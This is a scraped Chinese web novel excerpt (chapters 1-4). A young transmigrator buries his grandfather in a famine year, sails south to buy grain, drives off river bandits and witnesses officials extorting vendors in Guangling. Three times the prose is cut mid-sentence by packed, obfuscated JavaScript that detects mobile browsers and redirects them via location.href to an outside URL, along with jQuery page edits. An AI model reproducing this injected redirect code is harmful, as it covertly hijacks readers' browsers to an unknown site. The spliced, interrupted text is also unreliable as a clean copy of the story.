《我靠种田养活二十万边军》 1. 开篇 北风萧瑟,几粒碎雪被料峭的寒风推落到窗边。 屋内,形如枯槁的老人颤巍巍的坐在太师椅上,抚摸着蹲在他身侧少年毛绒绒的头发。 老人一句三咳,强撑着精神把想说的话说尽:“乖孙儿,你父母走得早,我这身子骨……咳咳!……” “我这身子骨怕是也活不到你及冠那天了,今儿我就提前为你取好表字……” 曲花间眼睛酸涩,虽然才穿过来半年多,但前世亲缘淡薄的他早已把这个待他极好的老人当成了自己的亲爷爷,他顿了顿,整理好语气接过老人的话。 “大过年的,祖父别说这些不吉利的话了。” “大人说话,小孩儿别插嘴!我的身体我清楚……”老人佯装生气瞪他一眼。 瞪完了又用慈爱的眼神看着曲花间的发顶,眼含不舍地长叹一声,“花间啊……” “咱们曲家人丁单薄,你祖母和父母都走得早……等我一去……这世上就只剩你一个人孤零零的……” “祖父。”曲花间趴在老人腿上,头埋进手臂间,掩住自己难过的表情,静静听着老人沙哑的声音。 “祖父不求你大富大贵,或是飞黄腾达,只希望你平平安安度过此生,你的表字,我给你取为长安,如何?” 老人絮絮叨叨说了很多,该交代的都交代了,该嘱咐的也嘱咐了,曲花间只沉默着点头,前世爷爷奶奶在他记事前就不在了,父母和他虽然形同陌路,但都身体健康。 曲花间是第一次经历死别。 这个对他极好的老人,其实在经历了丧子之痛后就有些糊涂了,所以曲花间穿过来的时候,他并没有发现亲孙子换了芯,依旧对他视如珠宝。 只可惜他快走了。 年前一场风寒拖垮了他的身体,纵使曲家家底殷实,请了数个大夫,汤药吃了无数也不见好。 前几日突然高烧不退,请来的大夫都束手无策,曲花间用了好几种方法替他降温也不管用,烧了三日,气若游丝的老人突然清醒过来,还吃了不少平日里吃不下的好菜。 曲花间心里隐隐预感不好,果然,大夫一看便说是回光返照,直接让他准备后事,连药方都不开,匆匆结账走人了。 大抵是放心不下唯一的孙子,老人说了很久,把想说的话说尽,才渐渐安静下来,闭眼的时候表情平静且安详。 屋外稀稀疏疏的雪终于停了,这场十年难遇的冷冬也随着老人的去世终于结束。 丧事办的不算隆重,一来曲家人丁单薄,前来吊唁的除了少数几个远亲,就是原身父亲从前的生意伙伴。 原身父亲也去世一年多了,人走茶凉,来吊唁的人并不多。 二来这个冬天连续下了四个月大雪,整个县城压垮不少房子,死了无数人,房子侥幸没压垮的,也冻死饿死不少人,家有余钱的人,多少都会为逝者办场简单的丧事。 城里的丧葬店生意火爆,香蜡纸钱供不应求,棺材更是买都买不着。 好在原身父亲在世时为祖父请了寿棺,才勉强让老人躺进棺材下了葬。 曲花间没头没绪的忙完了丧礼,家里却还有一堆事等着他。 最重要的事,莫过于买粮。 曲家世代经商,家中有良田千亩,县城里商铺十几间,府里仆役二十人,按理说哪怕家主过世,无人挣钱也不至于挨饿。 可他们所在的青岱县去年遭遇大旱,整个上半年一场雨没下,横贯青岱的大河清江水位下降了十几米,全县庄稼近乎颗粒无收。 曲家的几个田庄都挨着清江,靠人力挑水浇地勉强保住了两百多亩的收成,其他不靠江的庄子几乎绝收。 秋收之前曲老见势不对便遣散了三十多个活契的仆役,只留下了二十个家生子。 曲家的田庄是租给佃农打理的,佃租是十取四,平时刨去交给官府的三成田税,剩下的粮食供全府上下吃用,还能卖出去许多。 去年年景不好,曲老便让几个庄子的佃农集中伺候一个庄子的田,总算收了差不多五万斤粮食。 好在遭逢大灾,平时不做人的朝廷虽没有赈灾,但好歹减了税,三成粮税改为一成。 但这一成粮税是按丰收年的产量来算,曲家这千亩地,只保住两百多亩的产量,却要交千亩的税。 邻河的良田丰年亩产二百三十斤左右,去年亩产堪堪两百斤,光税就要交掉一半的收成。 曲家平时对佃农十分和善,别家佃租都是十取五,曲家只取四,所以交上来的租子不够交税,佃农们自发凑了三千多斤粮食送到曲家补够了税。 曲老感动不已,也向佃农们承诺,哪怕砸锅卖铁,他曲家的佃农也绝不能饿死一个。 可惜曲老托了不少人打听,这场大旱席卷冀、幽、并、司、兖、青六州,几乎覆盖半个周朝,旱情轻重不一,但无一例外,这些地方都买不到粮。 短短四个月过去,百姓家中余粮吃完,又遭逢冷冬,冻死饿死的人不计其数,一时间百姓怨声载道,哀鸿遍野。 眼下的局势,便只能散尽家财,往南去徐豫两州,或是再往南,去扬州碰碰运气。 今年既然有雪,至少春耕是没有问题,只要买够足够撑到秋收的粮食,便算是度过了这场危机。 曲花间为祖父守灵七日,时至正月十四,天气迅速回暖,屋外冰天雪地隐隐有化冻的趋势。 曲老坟冢立好,他回家倒头便睡,睡到十五日头高挂,这才起身。 一直照顾他的小厮曲宝早早备下了清粥小菜,曲花间囫囵几口下了肚,便让管家曲福取来库房钥匙,带着曲宝一头钻了进去。 曲宝今年十六岁,比曲花间这具身子大了一岁,但身高却还比曲花间矮了一指头,长得还有点胖,看起来圆圆润润很是有几分可爱。 别看曲宝长得圆润,动作却灵活麻利得很。 得了曲花间的令,曲宝三下五除二把库房里的财物归置出来,两人一块数钱。 “少爷,我这边数好了,一共白银七千六百两,还有从前老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487852|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷带回来的珍珠项链五十串,老太爷的各类玉把件十四件!” 曲宝小心的将每个箱子重新盖好,往曲花间这边看。 曲花间也数得差不多了,“我这边白银四千两整,黄金五十两,还有一盒房契地契。” 这个朝代黄金购买力极高,一两黄金能换白银百两,这五十两黄金就是五千两白银。 至于房契地契这些不动产,目前也变不了现,曲花间便没去数,反正走在街上,哪些铺子是自家的,他记不全,曲宝都知道。 “曲宝,去把你爹叫到我院里,我有事问他。”曲花间把装房契地契的木盒抱在手中往自己住的平安苑走去,曲宝答了声好嘞便往前院而去。 老太爷丧礼刚完,家里的白布灵幡还没取完,他爹曲福肯定在前院支使下人干活呢,去那找他准没错。 曲花间前脚刚跨进平安苑,曲福父子后脚便到了。 曲福人瘦瘦高高的,今年四十多,留着一小撮山羊胡,穿着青色布衣,看着精明能干,和儿子圆润蠢萌的样子大相径庭。 看着自家儿子白白胖胖的鬼样子,再对比少爷连熬了好几天夜,脸色苍白,形销骨立,便气不打一处来,他狠狠瞪了曲宝一眼,又用慈爱的眼神看着曲花间,行了个礼道:“少爷,您找我?” “福伯,家里粮食快没了吧?佃农们估计也撑不了多久了。” 是啊,提到这个,曲福面露忧愁,“听底下的人说,好些佃农家里都快断粮了,只是之前老太爷生病,现下又……” 说到老太爷,曲福摸了摸眼角,又义愤填膺的说:“这么大的灾,朝廷也不见赈灾,咱们老百姓这么些粮税交上去,都喂了狗!” 曲福越说越激动,骂完朝廷骂贪官,眼看就要骂到县太爷,被曲宝一手捂住了嘴,“爹!你不要命啦!谁你都敢骂,小心被人听了去。” “是是是,我失言了,少爷莫怪,老奴太着急了……” “我知道了,眼下这个形势,我也想骂,但光骂人也没用,指望朝廷赈灾是不现实的。” 大周王朝气数已尽,永恩皇帝上位十二年,只会寻欢作乐,毫无建树,北边鞑靼频频来犯,朝中贪官林立,地方灾祸频频,百姓怨声载道,他就像是瞎了眼,蒙了心,一概看不见。 为君的昏庸无道,为臣的又怎会做实事呢?即便是有那么几个为百姓考虑的清官,也被贪官士族们针对,自身难保。 曲福闻言,也收起心思,虚心询问,“依少爷的意思,咱们该怎么办呢?” 自家小少爷年前刚满过十五,年纪虽轻,但如今也是一家之主了,何况从家主过世后,少爷心思日渐成熟,如今愈发有主见了,曲福心下微定。 曲家几代主人都是十分有能力有担当的人,他相信小少爷一定能带全府走出困境的。 “我是想让你去打听打听,三五日内能不能弄到一批长刀匕首之类的防身兵器,我准备带一批家丁和佃农南下买粮,世道渐乱,带着大笔银子出门,恐怕不安全。” 2. 南下 “南下?少爷你要亲自南下!?”曲福一惊,“不可不可,且不说山高路远,一路得吃多少苦,就说现在外面这么乱,听人讲好多地方的农人过不下去,都落草为寇,这一路过去不知多危险呢!” 曲宝也连连点头,附和道:“是啊是啊,少爷,太危险了!” 说完他灵机一动,“要么少爷信得过我爹他话,让他去好了,爹他当年跟着老爷南下去过扬州做生意呢!” 曲福:“……是啊,少爷,不如让老奴去吧。”虽然被自家亲儿子的坑爹之言整得有些无语,但仔细一想,这办法总比让自家少爷去好。 少爷是他看着长大的,老爷夫人总是忙生意,曲花间几乎是他和老太爷两人两手带大的,说句僭越的话,他看曲花间跟自己亲儿子似的,无论如何也不愿意让他去冒险的。 “福伯。”曲花间打断曲福滔滔不绝的劝阻之言,揉了揉酸胀的太阳穴,“孩子大了,总要出去闯闯的,何况家里也是一摊子事呢,你出去了,谁来打理?” “可是太危险了……”曲福还想再劝,曲花间却摆了摆手。 “我知道你担心我,我这不是让你去买武器吗?你不必劝我,我肯定是要去的,你得留下看家,我可不想等我买了粮回来,却发现被偷家了。” “谁敢!?”曲福怒目一瞪,“谁这么大的胆子敢来曲府偷东西!?” 曲花间:“……”忘了偷家是个网络用语了。 最后曲福父子也没拗过曲花间,曲福皱着眉出去寻人买武器去了。 曲宝撅着嘴,站在曲花间身侧,“少爷,您非去不可,小的也要跟你去!” 曲花间看他那又害怕又坚定的小表情,不尤好笑,“你刚不是说危险得很,去不得去不得,这下怎么又要跟我去了?” “我那是怕您遇到危险,您非要去,我肯定要在身边保护你的呀!”曲宝为自己辩解。 “就你这小身板,还保护我?” “哎哟少爷!您可别拿小的取笑了,就算保护您的事让护院去做,您身边不得要个伺候您的可心人儿啊!这山高路远的,一来一回得不少时日呢,万一把您饿瘦了,我爹得打死我。” 曲宝故意搞怪的话让曲花间原本因为曲老去世而沉重的心缓和了不少,被他逗得咧嘴一笑。 “贫嘴!” 曲福办事还是很靠谱的,不过两日,也不知他哪来的路子,竟然真的让他弄来二十柄开了刃的长刀,还有十把精铁匕首。 只是非兵士和士族不得佩戴武器,这东西算是违禁品,要价高的离谱,三十件东西就花去三百多两白银。 还有大船,曲花间准备顺清江一路往东,再从青州转道东江一路往南,虽说有些绕路,但乘船比车马快得多,且水匪比陆上强盗少,算起来水路比陆路能节省一半时间,只需半个月便能到徐州州府广陵。 曲家是有商船的,只是家生子里只有两个熟悉水性,至少也还得找两个水手才行。 好在曲福联系上了从前给曲家做事的一个老水手,他两个儿子也是一等一的好手,听说包吃还给五两银子,当即便收拾了小包裹跟着曲福回来了。 剩下的,便是家中八个青壮护院,留了两个看家,剩下的全跟曲花间出门,又在自愿跟着去买粮的佃农里挑了二十个青壮年,凑足了三十个人。 这些人都知道此行危险重重,但想到家中见底的米缸,和老人孩子饿得皮包骨头的样子,都没有退缩。 何况东家说了,只要买到粮回来,去的人一人能得一百斤粮食和二两银子,若是运气不好回不来的,家里也给发五十两补偿款。 要知道,五十两可是很多家庭一辈子也挣不来的数字。 曲府还有四五百斤粮食,曲福匀了三百斤给曲花间,他一边往船上放米袋,一边嘱咐曲宝:“就这点粮,三十个人得吃半个多月,你小子看着办,但唯独一点,千万不可饿着少爷,少爷回来要是瘦了半两肉,仔细你的皮!” “知道了爹,就是我不吃,也得省下口粮把少爷喂得饱饱的,你放心吧!” 这厢曲花间在找地方藏钱,他出来只带了一千两白银,船上白银放太多吃水深,明眼人一看就知道船上有东西,所以一千两白银只是掩人耳目,真正的大头是他手里的五十两黄金。 只要把黄金藏好,便是遇上水匪,即便损失一千两也不至于走投无路。 只是回来的时候船上装满粮食,才是个大问题。 南方商贾云集,想必也有不少镖局,到时少不得要请镖师护送一番。 待东西全搬上船,水手们才拎着自己的行李排队上船。 曲宝在甲板上支了张小桌子和两个小板凳,曲花间坐下喝了口热茶,转头嘱咐曲福春耕的事。 “往年惊蛰一过就开始育秧苗了,今年惊蛰怕是还没完全化冻,你留意着天气,一化冻就让佃农们育苗,千万不能耽误春耕。” “我省得的,少爷。”曲福点点头,表示知道。 “稻种还够吗?就怕佃农们没粮可吃,把粮种给吃了。” “咱家还存了够三百亩地播种的稻种,佃农手里的不太清楚,不过农民不到万不得已是不会吃粮种的,回头我打听打听,若是有粮种不够的,就把家里存的借给他们先种下去再说。” 曲福心中讶异于自家少爷的事无巨细,心中更加心疼,少爷一朝成人,竟是迅速扛起了全府生计的担子。 曲花间闻言点点头,“有你盯着我放心,福伯,我出门这段时间,家里就全靠你了。” 曲福闻言鼻头一酸,“少爷说什么话!这些本就是老奴份内之事,您放心,老奴一定把家看好,您也是,一定要平平安安的回来!” “我晓得了。”曲花间郑重点头,管家虽是家仆,却是这个世界上除了曲老以外最关心他的人,他也不忍让其担心。 这边曲宝正在给刚上船的佃农们安排住处。 “哎!你怎么背这么大个铺盖卷儿啊!我看你这块头也不至于这么怕冷吧?” 只见曲宝指着的人是个高大壮实的黑皮汉子,在一众因挨饿而削瘦骨嶙的农民中显得鹤立鸡群。 他一手拎着一个比别人大一倍的铺盖卷,一手拎着个大号木桶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487853|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面装着些碗筷等日用品,背上还背着把简陋弓箭。 眼见曲宝要过来翻看他的行李,黑皮汉子显得有些紧张,倒是他身旁一个相熟的汉子见状赶紧上前一步,替他解围。 “小管家,小管家,真是对不住,林茂家房子前几天被雪压垮了,这些就是他全身家当,没地方放,就拎着一块儿上船了,您放心,我和他睡一个铺,东西都堆角落里,占不了多少地方!” 那汉子点头哈腰的冲曲宝赔着笑脸,一手扯了叫林茂的黑皮汉子一下,林茂也赶紧跟着弯腰,重重的点点头。 曲宝闻言也没再与人为难,“行吧,不过丑话说在前头,船上人多眼杂,自己的东西自己收捡好,丢了坏了的,可别找主家给你赔,没这个说法。” “晓得的,晓得的,绝不给主家添麻烦!”汉子连连点头,目送这高冷的小管家走开。 曲宝狐假虎威的走到船舱外面,才偷偷抿着嘴偷笑,小管家这称呼听起来真威风,嘻嘻嘻! 曲花间和曲福互相嘱咐一番后,曲福便下了船,随着水手兄弟里老大的一声呼喝,众人各就各位,两人一桨开始划船。 船桨拨开夹杂着碎冰块的江水,缓缓向东驶离了码头。 将将开始化冻的江面上吹起凛冽的寒风,夹杂着浓浓的寒气,激得曲花间打了个小小的激灵。 曲宝见状连忙取出一件雪白的兔毛大氅,往曲花间肩上披,“少爷,江上风凉,要不上屋里待着吧。” 曲花间拢了拢大氅,把逐渐失去温度的杯子放下,起身在甲板上转了转,“船舱里太闷了,我在外面看会儿风景再进去。” 曲花间不愿进屋,曲宝也就守在自家少爷身边,好在他穿得厚实,身上又有厚厚的脂肪护体,倒也不怎么冷。 大船晃晃悠悠往东行了三日,终于到了青州地界,再往前行半日,便能到清江与东江的交界处,再顺流往南行驶不到十天,就能到地处徐州以南的广陵。 若在广陵还买不到粮食,便只能再往南走几天去扬州,扬州已属江南,那里是有名的鱼米之乡,哪怕价格高点,但怎么也能买到粮食的。 这三日以来,水面异常平静,可能是天气还太冷的缘故,江面上一艘船都没遇到过,船上的水手本来紧绷的神经也逐渐放松。 想必天气太冷,平日里在江面上横行霸道的水匪也都窝冬去了。 船上渐渐传来水手们略显轻松的谈笑声。 曲花间有些晕船,整个人晕晕乎乎的,腹中也有些翻腾,虽然没吐,却没什么食欲。 除了刚上船那会儿在甲板上转悠了几圈儿,后面两天他几乎都躺在船舱里睡觉。 这个把曲宝急坏了,见水手们还悠闲的聊天,不由恼怒的呵斥了一声:“都小声着些!没见少爷在睡觉吗?谁要是吵醒了少爷,今儿晚饭别吃了!” 刚才声音最高的几个汉子闻言赶紧噤声,虽说小管家没有动辄打骂底下人,只是轻飘飘的扣一顿饭,但在顿顿都吃不饱的情况下,少吃一顿饭对这些汉子来说也是极为严重的了。 变故就在此时陡然生起的。 3. 水匪 只见大船将将转过一个河湾,原本被江边山石遮挡住的江边露出来。 远处的江面上赫然是一艘破旧的渔船。 有眼神好的水手定睛一看,忽然惊惧的大叫一声跌坐在地,手指着渔船,大叫道:“是……是水匪!” 船上的汉子们除了几个曲家护院,皆是老实巴交的农民,虽说手上有把子力气,但让他们干活还行,与水匪搏命却是差了点胆子。 此时曲花间也听到了那汉子的喊声,一骨碌便翻身从床上下来,他摸出藏在枕头下面的匕首踹进怀中,迅速跑出船舱,迎面撞上匆匆来寻他的曲宝。 “少爷,不好了,咱们遇上水匪啦!” 曲宝虽说比曲花间大一岁,但从小长在曲家,没出过远门,也从没遇上过危险,此时心里惊惧不已,但又有要保护少爷的信念撑着,面上还算镇定。 曲花间拍拍他的肩膀越过他走向船头,船上的水手全都聚集在了这里,这些庄稼汉子已经从角落中翻出之前藏好的武器,一人一把紧紧捏在手里,紧张的面向缓缓向他们驶来的渔船。 见曲花间走来,汉子们纷纷转头看着他。 曲花间大致扫了一眼,这些人大都面色凝重,有几个胆子小的,双腿已经在打颤。 只有那个背着弓箭不离身的黑皮汉子林茂,脸色凝重,看起来还算平静。 “别怕!怕也没用!”曲花间沉声道:“大不了跟他们拼命,想想你们的一家老小,咱们要是折在这里,他们就只能活活饿死在家里。” “我跟你们保证,若真起了冲突,受了伤我曲花间出钱给你们医治,残了的我曲家养你们后半生,若运气不好丢了命,只要我还有一口气在,你们的妻儿老小我负责照顾,绝不让他们挨饿受冻!” 或许是曲花间的话说进了众人心里,这些汉子们渐渐平静下来,视死如归的举起手中的刀剑对准了对面的渔船。 曲花间见状暗暗呼出一口气,继续发号施令,“现在还不是拼命的时候,把你们的刀别在裤腰带上,各回各位,划船,咱们绕过他们跑路!林茂!” 听到自己的名字,林茂下意识大声答了声“我在!” “你箭术如何?”曲花间打量了一眼他背上那把破弓箭,挥手让曲宝去将他原本放在船上以防万一的弓箭取来,曲宝得了令,噔噔噔的跑进了船舱。 “回东家的话,小的农闲时靠射箭打猎为生,箭术……还行。”林茂其实对自己的箭术很有几分自信,但在东家面前,他没敢夸大。 曲花间闻言点点头,指了指渔船的位置,“待会儿我们划船绕过水匪,他们如果穷追不舍,你就用箭射穿他们桅杆上的旗帜,能做到吗?” 林茂转头眯着眼目测了一下,郑重的点头,“小的能做到!” “好,你待会儿去船尾守着。” “少爷,弓箭拿来了!”曲宝一手扛着一张大弓,一手抱着一个装满精铁箭头的箭筒,他将弓箭递给林茂,面露心痛。 这可是从前老太爷的珍藏,据说价值千两呢!若不是危机当头,少爷肯定不舍得拿出来给人用的。 “这是张三石弓,普通人拉都拉不开,你试试能不能用得上。” 林茂接过弓,这可比他背上的自制弓箭沉多了,他端起弓,捏紧弓弦用力,试了试手,才冲曲花间点点头。 不知是水匪人少,还是船太破,说了半天话,渔船离曲家大船也还有一些距离,而水手们驶出吃奶的劲划船,竟真的在被拦截之前让大船驶出了大河湾,将渔船甩在了身后。 林茂拿着弓箭走向船尾,心中没有惊惧,甚至隐隐兴奋。 东家如此信任他,还将珍贵的大弓借出,他定不能辜负东家的信任。 莫说射穿对面的旗帜,就是对面船篷上悬挂的小灯笼,他也能给射下来! 清江上水流并不湍急,但两艘船你追我赶,分毫不让,竟有种激流勇进的感觉。 曲花间并没有站在船尾观察情况,主要是曲宝寻死觅活的抱着他手臂,不让他过去,“少爷,您别过去,万一那水匪手里也有弓箭呢?刀剑无眼,要是伤了您,我怎么对得起老爷老太爷啊,还有我爹,他一定会抽死我的呜呜呜……” “闭上你的乌鸦嘴!”曲花间满头黑线,狠狠给他一个暴栗。 最后他也没拗过曲宝,当然其实他心里也还是有些害怕,只是没敢表现出来,正好曲宝坚持,他才不用硬着头皮上。 曲花间在法治社会生活了二十多年,连小偷都没碰到过,陡然遇上水匪抢劫,其实心里紧张得不行,但作为船上的主心骨,若连他都畏畏缩缩,其他人更无士气可言了。 他在船头来回踱步,曲宝则来来回回去船尾悄悄看一眼,又回来给曲花间汇报情况。 如曲花间所料,渔船在后面穷追不舍,且两船间距在缓慢的变小。 曲家的船既新又大,船上装饰虽然很朴实,但仆役成群,一看就是有钱人家的船,水匪肯定舍不得这块肥肉从嘴边溜走。 曲花间手心捏了把汗,大手一挥让曲宝吩咐林茂按计划行事。 只盼水匪能吃下他这出空城计,相信他这船上都是些硬茬子,不再追上来。 林茂眼力好,已经看清渔船上水匪只有不到二十人。 虽然人数上碾压对方,但自家这些都是些庄稼汉子,没见过血,和那些亡命之徒对上,天然的就处于劣势。 如果射穿他们的旗帜起不到震慑作用,便只能背水一战刀剑相向了。 原本曲花间想的是将带出来的一千两白银用作买路钱,企图能和平解决。 但转念一想,世道纷乱,一路过去不知道要遇上多少波拦路的,哪有那么多钱来买路呢? 有那个钱,不如多买些粮食回去,少饿死些人。 更何况身为种花家儿郎,曲花间实在做不出向强盗低头这种丢八辈子人的事。 船尾,林茂迎风而立,弓如满月,在瞄准后一瞬间将箭放了出去,羽箭发出“咻”的破空声。 羽箭势如破竹射向穷追不舍的渔船,精准的将桅杆上挂着的寨旗穿了个眼儿,可那箭势头不减,仍直直的贴着船篷顶飞过船身,飞出去老远才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487854|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力竭坠入水中。 见此情景的水匪一片哗然,这箭要是射在人身上,骨头都怕是要扎个对穿。 水匪虽说过的原本就是刀口舔血的日子,但是人就会怕,果然船上不少人被这一箭震慑住,生出退意。 那商船上不知藏了什么高手,隔着这么远,还能射中才一尺宽的寨旗,若是再靠近点,射人不是一射一个准,船还没追上呢,就全军覆没了。 曲花间在船头来回踱步,只见曲宝噔噔噔踏着欢快的步伐从船尾小跑过来,嘴角咧得老高,“少爷少爷,水匪的船慢下来了,看来是被咱们吓住了!” 曲花间闻言,呼出一口浊气,他擦擦手心捏出的冷汗,吩咐道:“还是不能松懈,让船员们再用力往前划出几里,免得水匪趁咱们松懈又追了上来。” “知道了少爷。” 即便曲花间不说,船员们也不敢松懈,平时两班轮换的汉子们齐上阵,四人一桨划得飞起,原本半日的路程硬生生缩短到了一个半时辰。 清江与东江的交汇处,是青州州府博城辖下,距离城墙不到一里路的江岸设有一个公共码头。 船停在这个码头需要缴纳一日五两银子的停靠费,但相对的,因为是朝廷设立的码头,有专门的官差看守,相对安全。 此时码头停靠的船不多,码头周边零星有几个卖热食的小贩,还有一大群靠给码头船只卸货的青壮年。 见有船靠岸,那些青壮年如饿狼扑食般拥了过来,却在得知船上不需要搬运后失落的散去。 船上的汉子们都有些拘谨,没有曲花间的命令不敢下船。 曲花间嘱咐一句让他们分批下船活动,日落前全部归队后便领着曲宝下了船。 码头周围小贩不多,卖的都是些包子馒头之类的面食,要价却贵得离谱。 一个拳头大掺着麦麸的杂粮馒头,就要十五个铜板。 若不是灾年的日子,这样一个馒头便是一文钱也没人买。 可曲花间还是让曲宝将几个摊子上的食物!都买下来。 谁知那些摊贩摊子不小,存货却少得可怜,几个摊子全买下来,份量也不够船上三十几个人吃三天的。 曲宝见状,只得向一个卖馒头的老头打听,“大爷,你们出来做生意,怎么就备这么点货啊!” “客官是外地人吧?”老汉买完了东西,一边手脚麻利的收拾摊子,一边回曲宝的话,“去年咱这一年都没下雨啊,邻河的地方还好,庄稼只是减收,寄河远的,几乎是颗粒无收啊!” “唉,作孽哟!我们那也是,大部分田地都绝收了。”曲宝唏嘘不已,“那你怎么还有粮食拿出来卖呢?可是有什么路子能买到粮食?” “哪有什么路子啊,这些是我家仅剩的余粮了,要不是我家老婆子病重,无钱买药,我也是万万舍不得拿出来卖的,谁知道今年年景如何呢?唉……” 话说着老汉的摊子也收拾好了,他叹着气挑着扁担边走边轻声念叨:“但愿今年风调雨顺,能有个好收成,不然我们这些穷苦人家,就只有死路一条喽……” 4. 博城 大船在博城码头靠了一夜,第二日晨光微曦,便迎着刚冒头的朝阳顺东江南下而去。 后面的路程还算顺利,途中遇上两波人数不多的水匪,船员们有了经验,便像头一回那样有惊无险的躲了过去。 中间船经过好几个城镇,曲花间只在距离徐州第二大城彭城辖下一个小县城停靠了一夜。 然而徐州去年旱灾虽没有北边六州严重,但彭城离受灾的兖州只相隔几百里。 兖州的粮商早就把能买的粮收走了,曲花间本来也没报多大希望,休整一夜后又继续南下。 终于,大船在二月二这天抵达广陵。 广陵依河而建,出了码头便是闹市。 想必冀州青州等地的荒凉,广陵显得热闹非凡。 广陵地处平原,资源丰富,也没收到去年旱灾的影响,街上的行人虽说大多穿着朴素,行色匆匆,但相较于北边人民生活在水深火热之中,这里的生活算得上富足了。 曲花间拢了拢身上的外衫,把冰凉的双手插进袖子里,缓缓沿着街道行进。 南方气候温暖,曲花间前两天便让曲宝把兔毛大氅收了起来,只穿一身冬装便感觉十分暖和,但下了船,湿冷的河风一吹,激得他连打两个喷嚏。 走进闹市一看,才发现广陵老百姓的日子也并非想象中的好过。 街上衣衫褴褛的乞丐你挨着我我挨着你挤在不起眼的角落。 街上行人面上也少有喜色,街边小贩更是左顾右盼,做了一单生意便将铜板藏得严严实实。 曲花间买个包子的功夫,便见不远处几个穿着官差制服的人趾高气昂的对一个卖草编的老汉拳打脚踢,嘴里还呼喝着污言秽语。 曲宝是个爱凑热闹的,早就凑过去站在一个小摊面前佯装买东西,顺便偷听那些官差骂人。 听了一会儿,便小跑回来低声说给曲花间听,“少爷,这广陵赋税好重啊,在这条街上支个小摊子,早上收一次税,中午收一次税,说是税,跟咱们那边十取一的入城税完全不一样。” 曲花间心中隐隐有数,这所谓的税,不过是这些官差借着收税的名义搜刮民脂民膏罢了。 穿越过来这半年,曲花间也对大周朝的各项制度有了个大致的概念。 大周朝不像华国古代那样士农工商等级森严,在士族眼里,农工商三个群体都是贱民,所收的税也都是一样的苛刻。 农税便是朝廷所制定的平均产量缴纳十分之三的粮食,而这个“平均产量”往往要比真实产量高出一节。 就比如去年青岱城明明大部分庄稼绝收,有收成的地产量也是一百斤到两百斤不等,但朝廷却还是按两百三十斤的亩产收税,全然不顾实际情况。 工税繁复杂乱且不说,商税则是采取入城税和铺税的方式收取,入城税是只要货物入城,便要以官府估值的价格缴纳一成税。 若是打点得好,估值的官差睁一只眼闭一只眼,缴的就税少,若是没把官差喂饱,便是报出个高出市价几倍的价格,你想带货入城,也得乖乖按他的价格来交税。 而且这入城税是各城各收,有时候一批货经过几个城镇,便要交几次税。 而入城税之外的铺税,则取铺面交易额的一成。 普通小摊小贩,不需要铺面的,只要交了入城税,就根本不存在官差上门收税这种说法。 曲宝小嘴儿叭叭继续说:“而且他们的税是按摊位大小收的,就刚刚那个大爷放草编蓑衣的小摊子,半天就得交十文钱,过了正午没收摊,就得再交十文!” 这种手工制品价钱低廉,挣的就是点手工费,有时候一天也不一定能赚到二十文。 曲宝一边小声叭叭一边摇头叹息。 曲花间内心也有些沉重,从前只知道古人生活艰难,但眼见为实耳听为虚,今天他才知道,一个普通人要想踏踏实实凭自己劳动在这世道过得好一些,太难了。 这还只是依码头而建的外城,内城坐落在距离码头几里外的城墙里面,也不知那里做生意还有些什么奇怪名目的苛捐杂税。 曲花间一恍神的功夫,那几个官差强行从老汉怀里掏走一个旧钱袋子,掂了掂重量,满意的前往下一个摊子,全然不理哭天抢地的想要要回多余铜钱的老汉,甚至在老汉来拖其中一人的腿时踩住他的手背狠狠碾了几下。 周围的行人早就匆匆避开,临近的摊主也都低着头不敢做声,在官差走到自己面前时颤颤巍巍的递上铜钱。 曲宝见此情景气极,却又知道民不与官斗的道理,还理智的拉着已然捏紧拳头的曲花间避到了街角去。 曲花间虽然气愤,但他实际年龄也有二十五了,他十六岁便辍学在社会上摸爬滚打,早就体会过了冲动会带来的后果,所以此时任由曲宝将自己拉走。 等那几个官差挨家挨户搜刮了一番扬长而去,曲花间才领着曲宝走到刚刚被毒打的老汉摊位前。 老汉此时鼻青脸肿,被官差踩过的左手更是高高肿起,皮肉紫中泛黑。 他一边擦拭眼角,一边用没受伤的右手小心整理着被官差踩坏的草编。 原本刚才他就准备收摊了的,谁知走慢了一步,硬生生被官差抢去了钱袋算作下半天的税收,他只得继续待下去。 见有人站在摊位面前,老汉连忙挤出个艰难的笑脸招呼两人看货。 曲花间随手翻看了几下摊位上的东西摊位上多一些蓑衣斗笠和草鞋,还有些棕榈树叶编制的蚂蚱鸟笼一类的小玩意儿,做工都十分精巧。 只可惜好些都被那些该死的官差踩坏了,再看摊主的手,想来有段时间做不出新东西了。 南方多雨,再过月余便是雨季,蓑衣斗笠并不愁卖。 